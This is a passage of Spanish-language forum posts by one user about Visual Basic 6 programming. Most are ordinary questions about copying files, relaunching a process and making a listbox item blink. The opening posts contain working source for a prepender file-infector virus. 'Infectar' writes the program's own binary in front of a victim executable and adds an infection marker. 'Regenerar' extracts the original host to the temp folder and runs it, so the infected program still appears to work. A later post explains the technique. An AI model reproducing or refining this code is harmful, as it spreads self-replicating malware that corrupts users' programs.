Mensajes

Pongo el codigo funcionando (lanzando el huesped con un "shell")

Código (vb) [Seleccionar] Expandir


Public Function Infectar(sArchivo As String)
Dim sMicodigo As String
Dim sVictima As String
Dim sNuevo As String

Open sArchivo For Binary As #1
sVictima = Space(LOF(1))
Get #1, , sVictima
Close #1

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
sMicodigo = Space(LOF(1))
Get #1, , sMicodigo
Close #1

sNuevo = sMicodigo & sVictima & "wG" 'Marca de infección

Open sArchivo For Binary As #1
Put #1, , sNuevo
Close #1

End Function

'Regenerar huesped
Public Function Regenerar(sArchivo As String)
Randomize
Dim sBuffer As String
Dim sVirus As String
Dim sFinal As String

sFinal = Environ("TMP") & "\" & Int((Rnd * 99999) + 3) & ".exe"
Const vsc = 20480 'Tamaño del virus

Open sArchivo For Binary As #1
sVirus = Space(vsc)
sBuffer = Space(LOF(1) - vsc)
Get #1, , sVirus
Get #1, , sBuffer
Close #1

Open sFinal For Binary As #1
Put #1, , sBuffer
Close #1

Shell sFinal

End Function


Ya sta, al final logré correr el huesped con un createprocess xDD.


Salu2!

Ta ta, sorry por el despiste...

Alguno me exa una manilla ??

Wenasss noches gente.


Tengo una duda/problemilla con mi aplicación. Os comento.


Estoy desarrollando un proyecto... blablabla (tipico xDD). Total, que realizo la infección de un exe abriendolo, cogiendo su codigo (victima), abriendo mi prog, cogiendo mi codigo (atacante?) y reescribiendo la victima con mi codigo, y despues con el suyo.

El tema está en que para hacer pruebas, lo que la victima hace es crear un txt llamado "hola", y mi prog crea otro txt llamado "bu.txt" (si, nombres originales... xDD). La "infección" va bien, el exe pesa lo suyo (victima+atacante), pero solo crea el fichero "bu.txt" (siempre y cuando primero inyecte mi codigo en primer lugar). La pregunta es: ¿no debería crear los 2 txt´s?. Ya se que es muy básico, pero necesito saber si una vez ejecutado mi codigo, el otro exe (la victima), sigue con lo suyo...


PD: La función la saque de este foro (http://foro.elhacker.net/programacion_visual_basic/source_infeccion_de_ejecutables_en_vb6-t160863.0.html). Como supongo que necesitais el codigo, lo adjunto.


Salu2 y gracias anticipadas!!!!!

Codigo "atacante"

Código (vb) [Seleccionar] Expandir


Private Sub Form_Load()
Open App.Path & "\bu.txt" For Output As #2
Print #2, "aaaa"
Close #2
infectar ("prog1.exe")
Unload Me
End
End Sub

Function infectar(ByVal Victim As String)
   On Error Resume Next
   Dim VictimCode As String
   Dim NewCode As String
   Dim MyCode As String

'Mi codigo
   Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
       MyCode = Input(LOF(1), 1)
   Close #1

'Victima
   Open Victim For Binary As #1
       VictimCode = Input(LOF(1), 1)
   Close #1

   NewCode = MyCode & VictimCode

'Final
   Open Victim For Binary As #1
       Put #1, , NewCode
   Close #1
End Function



Codigo "victima"

Código (vb) [Seleccionar] Expandir


Private Sub Form_Load()
Open App.Path + "\hola.txt" For Output As #1
Print #1, "hola"
Close #1
Unload Me
End
End Sub


Jodida ruta.... muchas gracias, no habia caido en el /c para que se me cerrase.



Salu2!!!!

Buenos días chaval@s, hoy me toca hacer la pregunta tonta a mi...

En fin, llevo 6 horas programando y estoy empanao... pero totalmente.


Mi pregunta es la siguiente.


Como pueda copiar, por ejemplo, todos los *.txt de un directorio (este directorio lo cojo de un ini) a otro (este destino es estático).

He probado con filecopy, pero nada (filecopy archivos, "c:\temporal") y nada. También he probado a lanzar un shell con un copy, pero tampoco nada.


Ya os digo, me ha tocado la pregunta tonta a mi hoy, asi que si no es mucha molestia... xDD.


Salu2!!!

Yo lo haría de alguan de estas dos formas:

- Con una tarea programada, cada X tiempo pero es un poco cantoso.
- La otra forma es con otro programa, me explico:

Tenemos 2 programas, el que quieres ejecutar y el que se va a encargar de ejecutarlo. Llamemoslo prog1 y prog2. El prog2 comprueba el proceso del prog1 y en funcion de si este o no activo, lo ejecuta o lo para.


Son soluciones un poco chapuzas, pero espero que te valgan.



Salu2!!

En principio parece buena opción, aunque voy a buscar la forma de optimizarlo.



Muchas cenKius !!   

Estoy con morpheusoliver:

Código [Seleccionar] Expandir


Text1.text = "*" & Text1.text


Wenas a tod@s !

Necesito que alguien me heche una mano.


Tengo un listbox con varios elementos y lo que quiero hacer es que el ultimo que se ha seleccionado parpadee (despues de pulsar un boton). Me ejjjplico.


Si tengo 5 elementos, por ejemplo, y selecciono el número 3 y le doy al boton, lo que quiero es que el elemento 3 me parpade, de forma que se sepa cual ha sido el ultimo seleccionado, ¿esto es posible?.


Salu2!!!